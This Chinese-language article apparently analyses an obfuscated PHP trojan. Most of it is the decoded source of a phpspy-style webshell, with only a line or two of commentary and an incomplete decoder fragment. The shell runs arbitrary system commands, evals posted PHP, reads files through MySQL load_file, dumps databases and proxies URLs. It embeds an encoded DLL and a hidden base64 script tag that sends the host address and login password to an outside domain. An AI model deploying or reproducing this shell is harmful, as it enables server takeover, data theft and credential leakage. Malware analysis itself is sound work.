php 木马的分析(加密破解)

分析可以知道，此木马经过了base64进行了编码，然后进行压缩。虽然做了相关的保密措施，可是php代码要执行，其最终要生成php源代码，所以写出如下php程序对其进行解码，解压缩，写入文件。
解码解压缩代码如下：

代码如下:

function writetofile($filename, $data) 
{ //File Writing 
$filenum=@fopen($filename,"w"); 
if (!$filenum) { 
return false; 
} 
flock($filenum,LOCK_EX); 
$file_data=fwrite($filenum,$data); 
fclose($filenum); 
return true; 
} 
?> 
 

然后在php的环境下进行运行，会得到php明文文件如下： 

复制代码 代码如下:

error_reporting(7); 
ob_start(); 
$mtime = explode(' ', microtime()); 
$starttime = $mtime[1] + $mtime[0]; 
@set_time_limit(0); 
//非安全模式可以使用上面的函数，超时取消。 
/*===================== 程序配置 =====================*/ 
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效 
$admin['check'] = "1"; 
// 如果需要密码验证,请修改登陆密码 
//默认端口表 
$hidden = "44997"; 
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631"; 
//跳转用的秒 
$admin['jumpsecond'] = "1"; 
//Ftp破解用的连接端口 
$alexa = "yes"; 
//是否显示alexa排名，yes或是no 
$admin['ftpport'] = "21"; 
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no) 
$retime = "no"; 
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定) 
$cmd = "cmd.exe"; 
// 下面是phpspy显示版权那栏的，因为被很多程序当成作为关键词杀了，鱼寒~~允许自定义吧。还是不懂别改~~ 

/*===================== 配置结束 =====================*/ 
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; 
$serverp = $admin['pass']; 
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); 
$copyurll = base64_decode('Jz48L3NjcmlwdD4='); 
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals'); 
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);} 
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions"); 
/*===================== 身份验证 =====================*/ 
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "";echo "注销成功......

三秒后自动退出或单击这里退出程序界面 >>>

";exit;} 
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}} 
/*===================== 验证结束 =====================*/ 
// 判断 magic_quotes_gpc 状态 
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);} 
//mix.dll的代码 
$mixdll = "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"; 

function shelL($command){ 
global $windows,$disablefunctions; 
$exec = '';$output= ''; 
$dep[]=array('pipe','r');$dep[]=array('pipe','w'); 
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} 
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } 
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} 
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} 
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} 
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} 
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} 
return $exec; 
} 
// 查看PHPINFO 
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看";exit; 
}if($_GET['action'] == "nowuser") {$user = get_current_user(); 
if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！"; 
echo"当前进程用户名：$user"; 
exit; 
} 
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]");exit; 
} 
if($action=="mysqldown"){ 
$link=@mysql_connect($host,$user,$password); 
if (!$link) { 
$downtmp = '数据库连接失败: ' . mysql_error(); 
}else{ 
$query="select load_file('".$filename."');"; 
$result = @mysql_query($query, $link); 
if(!$result){ 
$downtmp = "读取失败，可能是文件不存在或是没file权限。
".mysql_error(); 
}else{ 
while ($row = mysql_fetch_array($result)) { 
$filename = basename($filename); 
if($rardown=="yes"){ 
$zip = NEW Zip; 
$zipfiles[]=Array("$filename",$row[0]); 
$zip->Add($zipfiles,1); 
$code = $zip->get_file(); 
$filename = "".$filename.".rar"; 
}else{ 
$code = $row[0]; 
} 
header("Content-type: application/octet-stream"); 
header("Accept-Ranges: bytes"); 
header("Accept-Length: ".strlen($code)); 
header("Content-Disposition: attachment;filename=$filename"); 
echo($code); 
exit; 
} 
} 
} 
} 
// 在线代理 
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

获取 URL 内容失败

";exit; 
} 
// 下载文件 
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;} 
} 
// 直接下载备份数据库 
if ($_POST['backuptype'] == 'download') { 
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败"); 
@mysql_select_db($dbname) or die("选择数据库失败"); 
$table = array_flip($_POST['table']); 
$result = mysql_query("SHOW tables"); 
echo ($result) ? NULL : "出错: ".mysql_error(); 

$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"); 
header('Content-type: application/unknown'); 
header('Content-Disposition: attachment; filename='.$filename); 
$mysqldata = ''; 
while ($currow = mysql_fetch_array($result)) { 
if (isset($table[$currow[0]])) { 
$mysqldata.= sqldumptable($currow[0]); 
$mysqldata.= $mysqldata."\r\n"; 
} 
} 
mysql_close(); 
exit; 
} 

// 程序目录 
$pathname=str_replace('\\','/',dirname(__FILE__)); 
$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]); 

// 获取当前路径 
if (!isset($dir) or empty($dir)) { 
$dir = "."; 
$nowpath = getPath($pathname, $dir); 
} else { 
$dir=$_GET['dir']; 
$nowpath = getPath($pathname, $dir); 
} 

// 判断读写情况 
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写"; 
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; 
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : ""; 

$tb = new FORMS; 

?>